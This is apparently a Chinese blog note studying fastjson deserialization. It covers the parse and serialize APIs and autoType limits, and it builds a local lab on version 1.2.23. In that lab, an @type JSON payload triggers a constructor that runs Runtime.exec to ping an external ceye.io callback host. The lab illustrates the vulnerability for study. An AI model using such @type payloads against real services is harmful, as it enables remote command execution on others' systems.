fastjson
在接触了fastjson的rce后,感觉还是得调用下fastjson ,最好能自己写一个漏洞环境出来
fastjson 调用
基础调用fastjson的方法
fastjson 常用序列化操作
public static final Object parse(String text); // 把JSON文本parse为JSONObject或者JSONArray
public static final JSONObject parseObject(String text); // 把JSON文本parse成JSONObject
public static final T parseObject(String text, Class clazz); // 把JSON文本parse为JavaBean
public static final JSONArray parseArray(String text); // 把JSON文本parse成JSONArray
public static final List parseArray(String text, Class clazz); //把JSON文本parse成JavaBean集合
public static final String toJSONString(Object object); // 将JavaBean序列化为JSON文本
public static final String toJSONString(Object object, boolean prettyFormat); // 将JavaBean序列化为带格式的JSON文本
public static final Object toJSON(Object javaObject); 将JavaBean转换为JSONObject或者JSONArray。
如:通过toJSONString进行序列化
通过parseObject、parse进行反序列化
static class User{
private String id ;
private String name;
private int age ;
}
...
...
User user = new User("1","fastjson",1);
String jsonString = JSON.toJSONString(user);
//这里将javabean(java 对象)转化成json字符串
User user1 = JSON.parseObject(jsonString,User.class);
//这里将json字符串转化成javabean(java 对象)
...
...
String jsonString2 = JSON.toJSONString(user,SerializerFeature.WriteClassName)
User user3 = (User)JSON.parse(jsonString2);//通过parse方法进行反序列化
在进行反序列化的时候,这里显示autoType不支持
这个地方也正好是fastjson出现反序列化漏洞的地方。
代码位置:/repository/com/alibaba/fastjson/1.2.45/fastjson-1.2.45.jar!/com/alibaba/fastjson/parser/ParserConfig.class
这里抛出异常主要是自1.2.25及之后的版本,禁用了部分autotype的功能,也就是”@type”这种指定类型的功能会被限制在一定范围内使用。
而由于反序列化对象时,需要检查是否开启了autotype。所以如果反序列化检查时,autotype没有开启,就会报错。因此把测试的fastjson版本改成1.2.23
此时测试就可以通过
fastjson 1.2.24前测试
盗图一张
fastjson反序列化流程
在该反序列化漏洞中测试,新特性SerializerFeature.WriteClassName反序列化。
SerializerFeature.WriteClassName
实例化测试
根据探秘Java反序列化漏洞四:Fastjson反序列化漏洞分析里面的介绍有点改动- 坑一:内部类反序列化问题
在创建类A的内部类B时,类B必须要使用静态类public static class Exp ()
- 坑一:内部类反序列化问题
- 坑二:内部类反序列化问题
此处只能使用parse
模拟流程如下:
package com.fastmaven.service;
import com.alibaba.fastjson.JSON;
import java.io.IOException;
import java.lang.Runtime;
public class App
{
public static void main( String[] args )
{
try {
Exp obj = (Exp)JSON.parse("{{\"@type\":\"com.fastmaven.service.App$Exp\",\"age\":18,\"name\":\"fastjson\"}");
System.out.println(obj);
}
catch(Exception e){System.out.println(e);}
}
public static class Exp {
public String name;
private int age;
public Exp() throws IOException {
String[] commands ={"ping","xxx.ceye.io"};
Runtime.getRuntime().exec(commands);
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
}
}
代码执行如下:
流程跟踪
这里跟参照的文章有点不一样,但最后还是JSONLexerBase.java 后进行命令执行,然后报错,但此时代码已经执行了。